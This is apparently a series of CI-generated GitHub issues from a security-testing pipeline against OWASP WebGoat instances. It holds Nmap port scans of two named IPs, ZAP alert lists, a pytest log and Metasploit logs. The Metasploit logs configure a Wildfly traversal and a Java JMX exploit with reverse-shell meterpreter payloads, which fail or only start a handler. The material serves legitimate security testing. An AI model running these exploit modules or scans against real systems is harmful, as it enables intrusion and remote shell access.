SRVHOST	0.0.0.0	yes		The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes		The local port to listen on.
SSLCert		no		Path to a custom SSL certificate (default is randomly generated)
URIPATH		no		The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

LHOST	172.17.0.2	yes		The listen address (an interface may be specified)
LPORT	4444	yes		The listen port

Exploit target:

Id	Name
----	------

0	Generic (Java Payload)
---	------------------------

View the full module info with the info, or info -d command.

[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit/javajmxreversehttps.rc)> use payload/generic/shellreversetcp

resource (./src/exploit/javajmxreversehttps.rc)> exploit

[*] Payload Handler Started as Job

resource (./src/exploit/javajmxreversehttps.rc)> exit

=====

Nmap-ParrotOS Scan output

GitHub Issue number # 451

GitHub Issue URL : [Here!](#)

parrotOS
nmap

Nmap vulnerability scanning
for 20.193.233.132

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [526 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1147 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 2s (8168 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

23 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs dnsutils file libaom0 libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
openssh-client openssh-server openssh-sftp-server openssl
python3-typing-extensions
23 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 9186 kB of archives.
After this operation, 63.5 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs dnsutils file libaom0 libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
openssh-client openssh-server openssh-sftp-server openssl
python3-typing-extensions
23 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 9186 kB of archives.
After this operation, 63.5 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease
Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease
Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease
Reading package lists...
Building dependency tree...
Reading state information...
23 packages can be upgraded. Run 'apt list --upgradable' to see them.
Running basic nmap scan...
Starting Nmap 7.92 (<https://nmap.org>) at 2023-10-02 07:20 UTC
Nmap scan report for 20.193.233.132
Host is up (0.23s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 da:80:dc:ab:ff:92:c0:21:6b:e9:fe:11:55:f2:30:04 (ECDSA)

|_ 256 a2:0b:15:e5:07:19:ec:42:d7:a6:c2:0f:08:83:da:c3 (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 02 Oct 2023 07:24:24 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 02 Oct 2023 07:24:22 GMT

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Mon, 02 Oct 2023 07:24:23 GMT

|_http-title: Site doesn't have a title.

9090/tcp open zeus-admin?

| fingerprint-strings:
| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block
| Pragma: no-cache
| X-Frame-Options: DENY
| Date: Mon, 02 Oct 2023 07:24:22 GMT
| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff
| Content-Type: application/json
| "timestamp" : "2023-10-02T07:24:22.700+00:00",
| "status" : 404,
| "error" : "Not Found",
| "path" : "/"
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block
| Pragma: no-cache
| X-Frame-Options: DENY
| Date: Mon, 02 Oct 2023 07:24:40 GMT
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH

| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff
| Content-Type: application/json
| "timestamp" : "2023-10-02T07:24:40.748+00:00",
| "status" : 404,
| "error" : "Not Found",
|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=10/2%Time=651A7026%P=x86_64-pc-linux-gnu%r(Ge

SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close

SF: Content-Length: 0 Date: Mon, 02 Oct 2023 07:24:2

SF:2 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Mon, 02\x

SF:20Oct 2023 07:24:23 GMT

")%r(RTSPRequest,42,"HTTP/1.1\n

SF:x20400 Bad Request Content-Length: 0 Connection: clos

SF:e

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n

SF:nConnection: close Content-Length: 0 Date: Mon, 02

SF:0Oct 2023 07:24:24 GMT

")%r(Socks5,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-

SF:Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:400 Bad Request Content-Length: 0 Connection: close

SF:

")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont

SF:ent-Length: 0 Connection: close

")%r(TerminalServerCook

SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co

SF:nnection: close

")%r(TLSSessionReq,42,"HTTP/1.1 400 Ba

SF:d Request Content-Length: 0 Connection: close

")%

SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:

SF:00 Connection: close

")%r(SMBProgNeg,42,"HTTP/1.1 400\n

SF:x20Bad Request Content-Length: 0 Connection: close

SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng

SF:th: 0 Connection: close

")%r(LDAPSearchReq,42,"HTTP/1.

SF:1 400 Bad Request Content-Length: 0 Connection: cl

SF:ose

")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co

SF:ntent-Length: 0 Connection: close

")%r(WMSRequest,42,"H

SF:TTP/1.1 400 Bad Request Content-Length: 0 Connection

SF:: close

")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reques

SF:t Content-Length: 0 Connection: close

");

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port9090-TCP:V=7.92%I=7%D=10/2%Time=651A7026%P=x86_64-pc-linux-gnu%r(Ge

SF:tRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cach

SF:e-Control: no-cache, no-store, max-age=0, must-revalidate

SF: X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fra
SF:me-Options: DENY Date: Mon, 02 Oct 2023 07:24:22\x
SF:20GMT Connection: close Vary: Origin Vary: Access-Con
SF:trol-Request-Method Vary: Access-Control-Request-Headers X-Con
SF:tent-Type-Options: nosniff Content-Type: application/json \n
SF:r { \"timestamp\" : \"2023-10-02T07:24:22.700+00:00\"
SF:, \"status\" : 404, \"error\" : \"Not
SF:Found\", \"path\" : \"\" }\")%r(WMSRequest,42,\"HTTP/1.
SF:1 400 Bad Request Content-Length: 0 Connection: cl
SF:ose
\")%r(ibm-db2-das,42,\"HTTP/1.1 400 Bad Request C
SF:ontent-Length: 0 Connection: close
\")%r(SqueezeCenter_C
SF:LI,42,\"HTTP/1.1 400 Bad Request Content-Length: 0 Co
SF:nnection: close
\")%r(GenericLines,42,\"HTTP/1.1 400 Bad
SF: Request Content-Length: 0 Connection: close
\")%r
SF:(HTTPOptions,22B,\"HTTP/1.1 404 Not Found Expires: 0
SF:Cache-Control: no-cache, no-store, max-age=0, must-revalida
SF:te X-XSS-Protection: 1; mode=block Pragma: no-cache X
SF:-Frame-Options: DENY Date: Mon, 02 Oct 2023 07:24:
SF:40 GMT Allow: GET, HEAD, POST, PUT, DELETE, TRA
SF:CE, OPTIONS, PATCH Connection: close Vary: Origin
SF:Vary: Access-Control-Request-Method Vary: Access-Control-Reque
SF:st-Headers X-Content-Type-Options: nosniff Content-Type: ap
SF:plication/json
{ \"timestamp\" : \"2023-10-02T07:
SF:24:40.748+00:00\", \"status\" : 404, \"error\"
SF:\" : \"Not Found\", \"path\" : \"\" }\")%r(RTSP
SF:Request,42,\"HTTP/1.1 400 Bad Request Content-Length: 0\\n
SF:r Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Firewall 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3.10 cpe:/o:linux:linuxkernel:4.4 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.4 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Firewall 11.8 (86%), Linux 3.10 (85%), Linux 3.10 - 3.16 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.03 ms 172.17.0.1

2 5867.59 ms 20.193.233.132

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 357.40 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-10-02 07:26 UTC

Nmap scan report for 20.193.233.132

Host is up (0.23s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.83 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-10-02 07:26 UTC

Nmap scan report for 20.193.233.132

Host is up (0.23s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.30 seconds

ZAP Full Scan Report

GitHub Issue number # 450

GitHub Issue URL : [Here!](#)

- Site: <http://20.193.233.132:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://20.193.233.132:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://20.193.233.132:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://20.193.233.132:8080/WebGoat/login>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://20.193.233.132:8080/WebGoat/login>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://20.193.233.132:8080/>
 - <http://20.193.233.132:8080/robots.txt>
 - <http://20.193.233.132:8080/WebGoat/login>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://20.193.233.132:8080/>
 - <http://20.193.233.132:8080/robots.txt>
 - <http://20.193.233.132:8080/WebGoat/login>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://20.193.233.132:8080/>
 - <http://20.193.233.132:8080/robots.txt>
 - <http://20.193.233.132:8080/WebGoat/login>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://20.193.233.132:8080/>
 - <http://20.193.233.132:8080/robots.txt>
 - <http://20.193.233.132:8080/WebGoat/login>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://20.193.233.132:8080/>
 - <http://20.193.233.132:8080/robots.txt>
 - <http://20.193.233.132:8080/sitemap.xml>
 - <http://20.193.233.132:8080/WebGoat/login>
 - **User Agent Fuzzer** [10104] total: 12:
 - <http://20.193.233.132:8080/WebGoat>
 - <http://20.193.233.132:8080/WebGoat>
 - <http://20.193.233.132:8080/WebGoat>
 - <http://20.193.233.132:8080/WebGoat>
 - <http://20.193.233.132:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6377072566

Sonar Cloud Code Scan Report

GitHub Issue number # 449

GitHub Issue URL : [Here!](#)

SonarQube Cloud code scan

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Snyk Report

GitHub Issue number # 448

GitHub Issue URL : [Here!](#)

Snyk_scan

Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

Pytest-Playwright Test Output Issue

GitHub Issue number # 447

GitHub Issue URL : [Here!](#)

Playwright pytest

Starting pytest....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.2, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

plugins: asyncio-0.21.1, anyio-4.0.0, tornasync-0.6.0.post2, base-url-2.0.0,
playwright-0.4.2, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

```
===== 5 passed in 24.16s  
=====
```

Stop pytest....

ZAP Full Scan Report

GitHub Issue number # 446

GitHub Issue URL : [Here!](#)

- Site: <http://40.80.81.24:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://40.80.81.24:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://40.80.81.24:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://40.80.81.24:8080/WebGoat/login>
 - **Cookie No HttpOnly Flag** [10010] total: 1:
 - <http://40.80.81.24:8080/WebGoat/start.mvc>
 - **Cookie Slack Detector** [90027] total: 2:
 - <http://40.80.81.24:8080/WebGoat/login>
 - <http://40.80.81.24:8080/WebGoat/start.mvc>
 - **Cookie without SameSite Attribute** [10054] total: 1:
 - <http://40.80.81.24:8080/WebGoat/start.mvc>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://40.80.81.24:8080/WebGoat/login>
 - **Base64 Disclosure** [10094] total: 1:
 - <http://40.80.81.24:8080/WebGoat/start.mvc>
 - **Non-Storable Content** [10049] total: 1:
 - <http://40.80.81.24:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
 - <http://40.80.81.24:8080/>
 - <http://40.80.81.24:8080/robots.txt>
 - <http://40.80.81.24:8080/WebGoat/login>
 - <http://40.80.81.24:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
 - <http://40.80.81.24:8080/>
 - <http://40.80.81.24:8080/robots.txt>
 - <http://40.80.81.24:8080/WebGoat/login>
 - <http://40.80.81.24:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
 - <http://40.80.81.24:8080/>
 - <http://40.80.81.24:8080/robots.txt>
 - <http://40.80.81.24:8080/WebGoat/login>
 - <http://40.80.81.24:8080/WebGoat/start.mvc>
 - **Sec-Fetch-User Header is Missing** [90005] total: 4:
 - <http://40.80.81.24:8080/>
 - <http://40.80.81.24:8080/robots.txt>
 - <http://40.80.81.24:8080/WebGoat/login>
 - <http://40.80.81.24:8080/WebGoat/start.mvc>
 - **Session Management Response Identified** [10112] total: 2:
 - <http://40.80.81.24:8080/WebGoat/start.mvc>
 - <http://40.80.81.24:8080/WebGoat/start.mvc>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://40.80.81.24:8080/>
 - <http://40.80.81.24:8080/robots.txt>
 - <http://40.80.81.24:8080/sitemap.xml>
 - <http://40.80.81.24:8080/WebGoat/login>
 - **User Agent Fuzzer** [10104] total: 24:
 - <http://40.80.81.24:8080/WebGoat>
 - <http://40.80.81.24:8080/WebGoat>

- <http://40.80.81.24:8080/WebGoat>
- <http://40.80.81.24:8080/WebGoat>
- <http://40.80.81.24:8080/WebGoat>
- ..

View the [following link](#) to download the report. RunnerID:6375653558

- Site: <http://20.193.233.132:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://20.193.233.132:8080/WebGoat/registration>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://20.193.233.132:8080/WebGoat/registration>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://20.193.233.132:8080/WebGoat/registration>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://20.193.233.132:8080/WebGoat/registration>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://20.193.233.132:8080/>
 - <http://20.193.233.132:8080/robots.txt>
 - <http://20.193.233.132:8080/WebGoat/registration>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://20.193.233.132:8080/>
 - <http://20.193.233.132:8080/robots.txt>
 - <http://20.193.233.132:8080/WebGoat/registration>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://20.193.233.132:8080/>
 - <http://20.193.233.132:8080/robots.txt>
 - <http://20.193.233.132:8080/WebGoat/registration>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://20.193.233.132:8080/>
 - <http://20.193.233.132:8080/robots.txt>
 - <http://20.193.233.132:8080/WebGoat/registration>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://20.193.233.132:8080/>
 - <http://20.193.233.132:8080/robots.txt>
 - <http://20.193.233.132:8080/sitemap.xml>
 - <http://20.193.233.132:8080/WebGoat/registration>
 - **User Agent Fuzzer** [10104] total: 12:
 - <http://20.193.233.132:8080/WebGoat>
 - <http://20.193.233.132:8080/WebGoat>
 - <http://20.193.233.132:8080/WebGoat>
 - <http://20.193.233.132:8080/WebGoat>
 - <http://20.193.233.132:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6377072566

Metasploit-ParrotOS Test output

GitHub Issue number # 445

GitHub Issue URL : [Here!](#)

parrotOS
metasploit

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [526 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1147 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 2s (9382 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

23 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs dnsutils file libaom0 libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

openssh-client openssh-server openssh-sftp-server openssl

python3-typing-extensions

23 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 9186 kB of archives.

After this operation, 63.5 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs dnsutils file libaom0 libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

openssh-client openssh-server openssh-sftp-server openssl

python3-typing-extensions

23 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 9186 kB of archives.

After this operation, 63.5 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

23 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 40.80.81.24

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploitwildflydir_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploitwildflydir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploitjavajmxreversehttps.rc for ERB directives.

resource (./src/exploitjavajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploitjavajmxreversehttps.rc)> show options

Module options (exploit/multi/misc/javajmxserver):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

JMXRMI	jmxrmi	yes		The name where the JMX RMI interface is bound
JMX_PASSWORD		no		The password to interact with an authenticated JMX endpoint
JMX_ROLE		no		The role to interact with an authenticated JMX endpoint
RHOSTS		yes		The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT		yes		The target port (TCP)
SRVHOST	0.0.0.0	yes		The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes		The local port to listen on.
SSLCert		no		Path to a custom SSL certificate (default is randomly generated)
URIPATH		no		The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

LHOST	172.17.0.2	yes		The listen address (an interface may be specified)
LPORT	4444	yes		The listen port

Exploit target:

Id	Name
----	------

0	Generic (Java Payload)
---	------------------------

View the full module info with the info, or info -d command.

[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit/javajmxreversehttps.rc)> use payload/generic/shellreversetcp

resource (./src/exploit/javajmxreversehttps.rc)> exploit

[*] Payload Handler Started as Job

resource (./src/exploit/javajmxreversehttps.rc)> exit

=====

Nmap-ParrotOS Scan output

GitHub Issue number # 444

GitHub Issue URL : [Here!](#)

parrotOS
nmap

Nmap vulnerability scanning
for 40.80.81.24

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [526 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1147 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 3s (7001 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

23 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs dnsutils file libaom0 libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
openssh-client openssh-server openssh-sftp-server openssl
python3-typing-extensions
23 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 9186 kB of archives.
After this operation, 63.5 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs dnsutils file libaom0 libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
openssh-client openssh-server openssh-sftp-server openssl
python3-typing-extensions
23 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 9186 kB of archives.
After this operation, 63.5 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease
Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease
Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease
Reading package lists...
Building dependency tree...
Reading state information...
23 packages can be upgraded. Run 'apt list --upgradable' to see them.
Running basic nmap scan...
Starting Nmap 7.92 (<https://nmap.org>) at 2023-10-02 03:41 UTC
Nmap scan report for 40.80.81.24
Host is up (0.24s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 6b:89:ba:ba:78:9d:95:e6:e1:08:67:5b:72:7e:7f:e0 (ECDSA)

|_ 256 aa:1c:3e:3b:15:f3:de:97:6f:80:35:6d:52:4a:dc:a8 (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

|_ http-title: Site doesn't have a title.

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 02 Oct 2023 03:45:35 GMT

